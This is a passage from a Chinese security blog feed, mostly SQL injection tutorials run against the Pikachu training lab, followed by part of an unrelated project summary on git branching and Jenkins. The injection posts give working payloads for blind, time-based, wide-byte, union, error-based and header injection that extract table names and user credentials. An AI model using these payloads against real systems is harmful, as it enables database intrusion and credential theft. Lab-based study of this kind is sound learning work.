&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;length（str）#函数 返回字符串的长度
substr（str,poc,len）#截取字符串,poc表示截取字符串的开始位，len表示截取字符串的长度
ascii（）#返回字符的ascii码，返回该字符对应的ascii码
count（）#返回当前列的数量
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;基于真假的盲注主要特征&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;没有报错信息&lt;/li&gt;
&lt;li&gt;不管是正确的输入，还是错误的输入，都只有两种情况（可以看做 0 or 1）&lt;/li&gt;
&lt;li&gt;在正确的输入下，后面跟 and 1=1 / and 1=2 进行判断&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在pikachu下可以进行测试&lt;/p&gt;
&lt;p&gt;输入正确的姓名&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;kobe&apos; and 1=1# 会发现成功返回
kobe&apos; and 1=2# 出现报错
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里只能判断用户存在还是不存在，所以不能使用报错注入的方式进行注入&lt;/p&gt;
&lt;p&gt;只能使用判断的方式&lt;/p&gt;
&lt;p&gt;可以先使用&lt;code&gt;length&lt;/code&gt;判断长度&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;#回显成功
kobe&apos; and length(database()) &gt; 1#

#一直判断到大于7出现了错误，那么可以使用等于7，会发现成功回显，证明字符数为7
kobe&apos; and length(database()) &gt; 7#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后此时再用 substr() 和 ascii() 判断数据库由哪些字母组成（可以用二分法）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;#成功回显
kobe&apos; and ascii(substr(database(),1,1)) &gt; 111#
#出现报错，说明可能数据库第一个字符就是112
kobe&apos; and ascii(substr(database(),1,1)) &gt; 112#
#使用等于112 判断成功
kobe&apos; and ascii(substr(database(),1,1)) = 112#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看ASCII码表，查看对应的字符为&lt;code&gt;p&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;ASCII码表：https://tool.oschina.net/commons?type=4&lt;/p&gt;
&lt;p&gt;后面的字符依次类推，查出完整的库名：pikachu&lt;/p&gt;
&lt;p&gt;后面的数据只需在前面的基础上将&lt;code&gt;database()&lt;/code&gt;进行修改&lt;/p&gt;
&lt;p&gt;对后面payload进行构造&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;#替换语句
(select table_name from information_schema.tables where table_schema = database() limit 0,1)
#判断长度
kobe&apos; and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) &gt; 1#
#长度为8
kobe&apos; and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 8#
#爆列
#第一个值 h
kobe&apos; and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#
#第二个值 t
kobe&apos; and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 2, 1)) =116#
#第三个值 t
kobe&apos; and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 3, 1)) =116#
#后面的依次类推
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;时间注入（based on time）&lt;/h3&gt;
&lt;p&gt;基于布尔型盲注我们还可以看到回显的信息，是否正确&lt;/p&gt;
&lt;p&gt;在使用时间注入的时候，我们只能通过服务器的回应时间来进行判断，从而确定注入点&lt;/p&gt;
&lt;p&gt;一般使用&lt;code&gt;sleep()&lt;/code&gt;函数来进行判断&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/21.png&quot; alt=&quot;image-20240810194848672&quot;&gt;&lt;/p&gt;
&lt;p&gt;看到上面的结果说明我们注入成功了，构造下面的 payload，用 database() 取得数据库的名称，再用 substr 取字符判断数据库名称的组成，如果猜解成功就会 sleep 5秒，否则没有任何动作&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;kobe&apos; and  if((substr(database(), 1, 1))=&apos;p&apos;, sleep(5), null)#
#或者使用和盲注一样的 编码转义也可以
kobe&apos; and if(ascii(substr(database(),1,1)) = 112,sleep(5),null)#
#后面的构造语句就和前面这些一样了，只需要替换database()数据即可
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;宽字节注入&lt;/h3&gt;
&lt;p&gt;查看源码，可以看到对输入的数据进行了&lt;code&gt;GBK&lt;/code&gt;转义&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/22.png&quot; alt=&quot;image-20240810204643073&quot;&gt;&lt;/p&gt;
&lt;p&gt;数据库用了GBK编码，\转义了&apos; ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”，可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了&lt;/p&gt;
&lt;p&gt;宽字节注入的使用原因是：单引号、双引号等特殊字符被转义&lt;/p&gt;
&lt;p&gt;宽字节注入的原理是：当转义使用的 \ 为 ASCII 编码，而客户端传入的参数被当成 GBK 等宽字节编码，则可以通过在 \ 之前插入一个十六进制字节（ASCII码要大于128，才到汉字的范围）来让 MySQL 以为插入的字节和 \ 是一个中文字符，从而吃掉 \ ，摧毁转义&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;kobe %df&apos; or 1=1#

kobe%df&apos; union select 1,2#

kobe%df&apos; union select 1,database()#

kobe%df&apos; union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

#依次类推
&lt;/code&gt;&lt;/pre&gt;</content:encoded><category>网络安全</category></item><item><title>SQL注入（一）</title><link>https://antifrag.cn/blog/sql%E6%B3%A8%E5%85%A5</link><guid isPermaLink="true">https://antifrag.cn/blog/sql%E6%B3%A8%E5%85%A5</guid><description>SQL注入</description><pubDate>Thu, 08 Aug 2024 08:00:44 GMT</pubDate><content:encoded>&lt;h1&gt;SQL注入&lt;/h1&gt;
&lt;h3&gt;数字型注入（POST）&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;以piakchu靶场举例&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;步骤：

1. 先判断注入点的注入类型
2. 如是数字型，先使用Burp抓包，修改id值
3. 修改payload为 1 or 1=1，发送请求
4. 会发现查询到了全部数据
5. 使用 order by 判断注入点 （payload：1 order by 2）
6. 显位：联合查询查看显示位 （1 union select 1,2#）
7. 爆库：显示出数据库的名字 (1 union select 1,group_concat(schema_name) from (information_schema.schemata)#)
8. 爆表：利用union select 联合查询，获取表名
   a. (1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = database()#)获取到当前数据库
   b. (1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = &apos;数据库名字&apos;#)指定获取想要的数据库
9. 爆列：利用union select 联合查询,获取字段名
   a. (1 union select 1,group_concat(column_name) from information_schema.columns where table_name = database() and table_name = &apos;表名&apos;#)
   b. (1 union select 1,group_concat(column_name) from information_schema.columns where table_name = &apos;users&apos;#)
10. 爆值：利用 union select 联合查询，获取字段值
    a. (1 union select 1,group_concat(username) from pikachu.users#)
    b. (1 union select 1,group_concat(concat_ws(表名对应的字段名)) from (表名) 在当前数据库中的相应表名的字段值)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;采用手动联合注入的方法&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;1 or 1=1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/1.png&quot; alt=&quot;image-20240805195410237&quot;&gt;&lt;/p&gt;
&lt;h5&gt;判断回显位&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;1 union select 1,2#&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/2.png&quot; alt=&quot;image-20240805195706952&quot;&gt;&lt;/p&gt;
&lt;h5&gt;爆库&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;1 union select 1,database()#&lt;/p&gt;
&lt;p&gt;或 1 union select 1,group_concat(schema_name) from (information_schema.schemata)#&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/3.png&quot; alt=&quot;image-20240805200137498&quot;&gt;&lt;/p&gt;
&lt;h5&gt;爆表&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = database()#&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/4.png&quot; alt=&quot;image-20240805200354797&quot;&gt;&lt;/p&gt;
&lt;h5&gt;爆列&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;1 union select 1,group_concat(column_name) from information_schema.columns where table_name = &apos;users&apos;#&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/5.png&quot; alt=&quot;image-20240805200958787&quot;&gt;&lt;/p&gt;
&lt;h5&gt;爆值&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;1 union select 1,group_concat(username) from pikachu.users# (获取用户名)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/6.png&quot; alt=&quot;image-20240805201140654&quot;&gt;&lt;/p&gt;
&lt;h3&gt;字符型注入（GET）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;#查看页面变化，判断sql注入类别
1
1&apos;

#确定字段数【2】
1&apos; order by 3#
1&apos; order by 4#

#联合查询查看显示位
-1&apos; union select 1,2#

#题库【pikachu】
-1&apos; union select 1,group_concat(schema_name) from information_schema.schemata #
或者
-1&apos; union select 1,database() #

#爆表【httpinfo,member,message,users,xssblind】
-1&apos; union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

#爆列【...,username,password,...】
-1&apos; union select 1,group_concat(column_name) from information_schema.columns where table_name=&apos;users&apos; #

#爆值
-1&apos; union select 1,concat_ws(&apos;-&apos;,username,password) from users #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后面的步骤和前面的数字型类似（省略）&lt;/p&gt;
&lt;h3&gt;搜索型注入&lt;/h3&gt;
&lt;p&gt;搜索型注入也分为&lt;code&gt;GET&lt;/code&gt;和&lt;code&gt;POST&lt;/code&gt;两种类型，但实际注入方式几乎一样&lt;/p&gt;
&lt;p&gt;搜索型注入一般使用&lt;code&gt;模糊匹配&lt;/code&gt;的方式存在，使用SQL语句就是&lt;code&gt;select username,password from users where username like &apos;%$name%&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;注入方式：当我们输入&lt;code&gt;&apos;and 1=1 and &apos;%&apos;=&apos;&lt;/code&gt;，将其拼接进SQL语句就变成了&lt;code&gt;select username,password from users where username like &apos;%&apos;and 1=1 and &apos;%&apos;=&apos;%&apos;&lt;/code&gt;，实际上读取的内容还是&lt;code&gt;and 1=1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;-- +&lt;/code&gt;也能注释掉后面的内容&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;&apos;and 1=1 -- +
&apos;or 1=1 -- +

#确定字段数【3】
&apos;order by 3 -- +

#union 联合查询判断回显位
&apos;union select 1,2,3 -- +

#爆库
&apos;union select 1,2,database() -- +
#或
&apos;union select 1,2,group_concat(schema_name) from information_schema.schemata -- +

#爆表
&apos;union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +

#爆列
&apos;union select 1,2,group_concat(column_name) from information_schema.columns where table_name = &apos;users&apos; -- +

#爆值
&apos;union select 1,2,concat_ws(&apos;-&apos;,username,password) from users -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/7.png&quot; alt=&quot;image-20240805211211037&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&apos; union select 1,2,3 --+&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/8.png&quot; alt=&quot;image-20240805215042954&quot;&gt;&lt;/p&gt;
&lt;h5&gt;爆库&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;&apos;union select 1,2,group_concat(schema_name) from information_schema.schemata -- +&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/9.png&quot; alt=&quot;image-20240805220048046&quot;&gt;&lt;/p&gt;
&lt;h5&gt;爆表&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;&apos;union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/10.png&quot; alt=&quot;image-20240805222504132&quot;&gt;&lt;/p&gt;
&lt;h5&gt;爆列&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;&apos;union select 1,2,group_concat(column_name) from information_schema.columns where table_name = &apos;users&apos; -- +&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/11.png&quot; alt=&quot;image-20240805222655256&quot;&gt;&lt;/p&gt;
&lt;h5&gt;爆值&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;&apos; union select 1,2,concat_ws(&apos;-&apos;,username,password) from users -- +&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/12.png&quot; alt=&quot;image-20240805222934312&quot;&gt;&lt;/p&gt;
&lt;h3&gt;XX型注入&lt;/h3&gt;
&lt;p&gt;由于我是用docker搭建的没有下载源码，直接从github上看&lt;/p&gt;
&lt;p&gt;可以看到这个闭合使用&lt;code&gt;()&lt;/code&gt;进行闭合的，原理和前面一样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/13.png&quot; alt=&quot;image-20240805224146988&quot;&gt;&lt;/p&gt;
&lt;p&gt;构造payload&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;&apos;) or 1=1 -- +

#根据报错看回显
&apos;) order by 2 -- +

&apos;) union select 1,2 -- +

#爆库
&apos;) union select 1,group_concat(schema_name) from information_schema.schemata -- +
或者
&apos;) union select 1,database()-- +

#爆表【httpinfo,member,message,users,xssblind】
&apos;) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- +

#爆列【...,username,password,...】
&apos;) union select 1,group_concat(column_name) from information_schema.columns where table_name=&apos;users&apos; -- +

#爆值
&apos;) union select 1,concat_ws(&apos;-&apos;,username,password) from users -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;insert/update 注入&lt;/h3&gt;
&lt;p&gt;在这3种情况中，我们&lt;strong&gt;不能&lt;/strong&gt;使用 union 去做&lt;strong&gt;联合查询&lt;/strong&gt;，因为这不是查询，而是&lt;strong&gt;操作&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我们可以在此使用报错注入，以下为常用的三种报错注入函数&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;updatexml()： MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数&lt;/li&gt;
&lt;li&gt;extractvalue()：MySQL 对 XML 文档数据进行查询的 XPATH 函数&lt;/li&gt;
&lt;li&gt;floor()：MySQL中用来取整的函数&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;updatexml()/extractValue()&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;UPDATEXML&lt;/strong&gt; (XML_document, XPath_string, new_value)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ExtractValue&lt;/strong&gt;(xml_document, XPathstring)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这两函数核心原理是一样的，都是对 XML&lt;/p&gt;
&lt;p&gt;具体使用查看：https://www.cnblogs.com/dogecheng/p/11616282.html 这位师傅的文章&lt;/p&gt;
&lt;p&gt;在注册的过程中，直接将传入的数据进行&lt;code&gt;POST&lt;/code&gt;请求解析，从而直接导致漏洞产生&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/14.png&quot; alt=&quot;image-20240807190645555&quot;&gt;&lt;/p&gt;
&lt;p&gt;payload构造&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;#爆库
1&apos; and updatexml(1,concat(0x7e,database()),0) and &apos; #使用or也可以

#爆列 如果不使用 limit限制读取数量，pikachu会出现报错 显示结果多于一行
1&apos; and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0) and &apos;

#爆表
1&apos; and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = &apos;users&apos; limit 0,1)),0) and &apos;

#爆值
1&apos; and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) and &apos;

1&apos; and updatexml(1, concat(0x7e, (select password from users where username = &apos;admin&apos; limit 0,1)), 0) and &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;delete注入&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/15.png&quot; alt=&quot;image-20240808152939262&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/16.png&quot; alt=&quot;注入点&quot;&gt;&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/17.png&quot; alt=&quot;image-20240808153548628&quot;&gt;&lt;/p&gt;
&lt;p&gt;构造payload&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;1 or updatexml(1, concat(0x7e,database()), 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;floor&lt;/h5&gt;
&lt;p&gt;向下取整。如果要用 floor() 构成报错，必须满足下面的条件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;运算中有 count&lt;/li&gt;
&lt;li&gt;运算中有 group by&lt;/li&gt;
&lt;li&gt;运算中有 rand&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用方式&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;#爆库
1&apos; and (select 1 from (select count(*),concat(&apos;~&apos;,database(),&apos;~&apos;,floor(rand(0)*2))as x from information_shcema.tables group by x)a)#

#爆表
1&apos; and (select 1 from (select count(*),concat(&apos;~&apos;,(select table_name from information_schema.tables where table_schema=database() limit 0,1),&apos;~&apos;,floor(rand(0)*2))as x from information_schema.tables group by x)a)#

#爆字段
1&apos;and (select 1 from (select count(*),concat(&apos;~&apos;,(select column_name from information_schema.columns where table_name = &apos;users&apos; limit 0,1),&apos;~&apos;,floor(rand(0)*2))as x from information_schema.tables group by x)a))#

#爆值
1&apos;and (select 1 from (select count(*),concat(&apos;~&apos;,(select concat(username,&apos;~&apos;,password) from users limit 0,1),&apos;~&apos;,floor(rand(0)*2))as x from information_schema.tables group by x)a))#
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;http header注入&lt;/h3&gt;
&lt;p&gt;首先使用 &lt;code&gt;admin/123456&lt;/code&gt; 登录，进入页面后可以看到 http请求被暴露在页面上&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/18.png&quot; alt=&quot;image-20240809153354204&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们可以先看看源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/19.png&quot; alt=&quot;image-20240809153937586&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里可以看到作者直接将&lt;code&gt;header&lt;/code&gt;信息直接使用&lt;code&gt;insert&lt;/code&gt;插入到数据库，没有进行转义&lt;/p&gt;
&lt;p&gt;我们尝试在&lt;code&gt;header&lt;/code&gt;上进行SQL注入&lt;/p&gt;
&lt;p&gt;将&lt;code&gt;User-Agent&lt;/code&gt;修改为&lt;code&gt;&apos;&lt;/code&gt;会发现页面出现了sql报错信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/img-sql/20.png&quot; alt=&quot;image-20240809154558573&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后就可构造&lt;code&gt;payload&lt;/code&gt;，和前面的那个&lt;code&gt;insert&lt;/code&gt;一样&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;#爆库
&apos; or updatexml(1,concat(0x7e,database()),0) or &apos;

#爆列
&apos; or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0) or&apos;

#爆表
&apos; or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = &apos;users&apos; limit 0,1)),0) or&apos;

#爆值
&apos; or updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) or&apos;
&apos; or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1) or&apos;
&lt;/code&gt;&lt;/pre&gt;</content:encoded><category>网络安全</category></item><item><title>项目总结</title><link>https://antifrag.cn/blog/sl%E6%80%BB%E7%BB%93</link><guid isPermaLink="true">https://antifrag.cn/blog/sl%E6%80%BB%E7%BB%93</guid><description>项目开发总结</description><pubDate>Wed, 17 Jul 2024 08:49:18 GMT</pubDate><content:encoded>&lt;h2&gt;项目开发总结&lt;/h2&gt;
&lt;p&gt;本次项目开发学习前前后后花费了数半个月，虽然学习的项目章节不太多，但也受益匪浅&lt;/p&gt;
&lt;p&gt;不论是从最开始的环境搭建，还是之后的微服务、小程序、网关配置等等方面，也是学到了很多技巧，但这其中我也遇到了很多困难，本次开发总结我将详细讲述我的开发流程，其中遇到的一些困难，以及如何去解决这些困难&lt;/p&gt;
&lt;h2&gt;环境配置&lt;/h2&gt;
&lt;p&gt;首先是在最开始的环境配置当中，我们需要先下载虚拟机环境（模拟公司、企业当中的服务器）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/1.png&quot; alt=&quot;image-20240711091119491&quot;&gt;&lt;/p&gt;
&lt;p&gt;可看到虚拟机环境已经帮我们配置好了，这些服务是一些正在运行当中的服务&lt;/p&gt;
&lt;p&gt;然后就是虚拟机也需要配置一下内网IP方便后续服务的访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/2.png&quot; alt=&quot;image-20240711091843448&quot;&gt;&lt;/p&gt;
&lt;p&gt;内网配置好后在配置本地ip&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/3.png&quot; alt=&quot;image-20240711092123041&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到本地服务地址与虚拟机地址是一样的，然后后面就是一些服务&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/4.png&quot; alt=&quot;image-20240711092321796&quot;&gt;&lt;/p&gt;
&lt;p&gt;在这之后我们就可以成功的访问服务了&lt;/p&gt;
&lt;p&gt;我们先从本地访问服务域名，通过本地&lt;code&gt;hosts文件&lt;/code&gt;配置，将服务地址传输到虚拟机，再通过虚拟机&lt;code&gt;nginx服务&lt;/code&gt;将其&lt;code&gt;反向代理&lt;/code&gt;到各个服务&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/5.png&quot; alt=&quot;image-20240711093843963&quot;&gt;&lt;/p&gt;
&lt;h4&gt;Maven私服&lt;/h4&gt;
&lt;p&gt;Maven私服配置根据服务不同，进行相应配置&lt;/p&gt;
&lt;h4&gt;git代码管理&lt;/h4&gt;
&lt;p&gt;对于代码的管理，我觉得是相对重要的，这在开发当中是必不可少的&lt;/p&gt;
&lt;h5&gt;分支管理&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;不同功能的分支形成代码隔离，发布时从主分支进行代码发布，测试在测试分支，开发在开发分支，减少出错。。&lt;/li&gt;
&lt;li&gt;分支之间互不影响，开发者可以独立开发，提高团队开发效率&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;分支管理策略&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;master&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;主分支，用于部署生产环境的分支，是所有分支的主干，与当前线上代码保持统一&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;dev&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;开发分支，开发各类分支的合并分支，即当前最新功能分支&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;feature&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;功能分支，一般用于新技术的开发，开发完成后合并到master/dev分支，随后便可删除分支&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;release&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;用于测试的分支，如遇bug，将其推到 fixbug分支进行修复&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;fixbug&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;bug修复分支，完成修复后，将其合并到master/dev&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;tag标签&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;master发布开发环境后，用tag来进行版本标记&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;# 列出所有本地分支
$ git branch

# 列出所有远程分支
$ git branch -r

# 列出所有本地分支和远程分支
$ git branch -a

# 新建一个分支，但依然停留在当前分支
$ git branch [branch-name]

# 新建一个分支，并切换到该分支
$ git checkout -b [branch]

# 新建一个分支，指向指定commit
$ git branch [branch] [commit]

# 新建一个分支，与指定的远程分支建立追踪关系
$ git branch --track [branch] [remote-branch]

# 切换到指定分支，并更新工作区
$ git checkout [branch-name]

# 切换到上一个分支
$ git checkout -

# 建立追踪关系，在现有分支与指定的远程分支之间
$ git branch --set-upstream [branch] [remote-branch]

# 合并指定分支到当前分支
$ git merge [branch] # 快速合并
$ git merge --no-ff [branch] # 非快速合并（建议使用）

# 选择一个commit，合并进当前分支
$ git cherry-pick [commit]

# 删除分支
$ git branch -d [branch-name]

# 删除远程分支
$ git push origin --delete [branch-name]
$ git branch -dr [remote/branch]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后后面就是一些分支开发测试(这里就不做多的篇幅解释)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/6.png&quot; alt=&quot;image-20240711100917580&quot;&gt;&lt;/p&gt;
&lt;h5&gt;项目列表&lt;/h5&gt;
&lt;p&gt;这些服务后续会用到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/7.png&quot; alt=&quot;image-20240711101111389&quot;&gt;&lt;/p&gt;
&lt;h4&gt;Jenkins&lt;/h4&gt;
&lt;p&gt;在学习本次项目之前，我也才只接触Jenkins过一次，那还是在上次2023年的一次靶机练习，记得当时也是打的迷迷糊糊，不过经过本次学习后，我也更深层次的体验到了Jenkins的用法&lt;/p&gt;
&lt;p&gt;从最开始的任务构建到参数、版本号、微服务地址、服务名称、端口号、git地址等等一系列的配置，在到脚本构建，一键运行，就完成了项目的一个搭建，通过测试便可查看是否搭建成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/8.png&quot; alt=&quot;image-20240711111202282&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/9.png&quot; alt=&quot;image-20240711111228419&quot;&gt;&lt;/p&gt;
&lt;p&gt;测试成功后，将Jenkins中web钩子设定，绑定git，测试推送&lt;/p&gt;
&lt;h5&gt;Jenkins总结&lt;/h5&gt;
&lt;p&gt;从Jenkins的使用流程来看，我认为Jenkins就是用于将git进行连接配置，然后直接启动服务的中间件，他可以直接将服务上传到docker容器中（前提是在环境中已经配置好了docker，Maven，git），他方便我们对服务的一个管理，是一个强大的中间件。&lt;/p&gt;
&lt;h2&gt;登录业务&lt;/h2&gt;
&lt;p&gt;关于登录业务，我觉得文档上给的图就已经完美诠释了整个登录流程&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/10.png&quot; alt=&quot;image-20240717144904295&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;首先前端先从WebManager 后端服务管理中获取 验证码 （并携带key）&lt;/li&gt;
&lt;li&gt;后端服务管理生成验证码&lt;/li&gt;
&lt;li&gt;讲验证码和key值传入Redis&lt;/li&gt;
&lt;li&gt;Redis返回值&lt;/li&gt;
&lt;li&gt;后端返回验证码图传给前端&lt;/li&gt;
&lt;li&gt;前端输入账号密码验证码&lt;/li&gt;
&lt;li&gt;后端从Redis中进行匹配验证码&lt;/li&gt;
&lt;li&gt;Redis返回结果&lt;/li&gt;
&lt;li&gt;后端进行校验
&lt;ol&gt;
&lt;li&gt;假如验证码匹配失败，就返回验证码错误&lt;/li&gt;
&lt;li&gt;假如匹配成功，从Redis中删除验证码值，返回后端&lt;/li&gt;
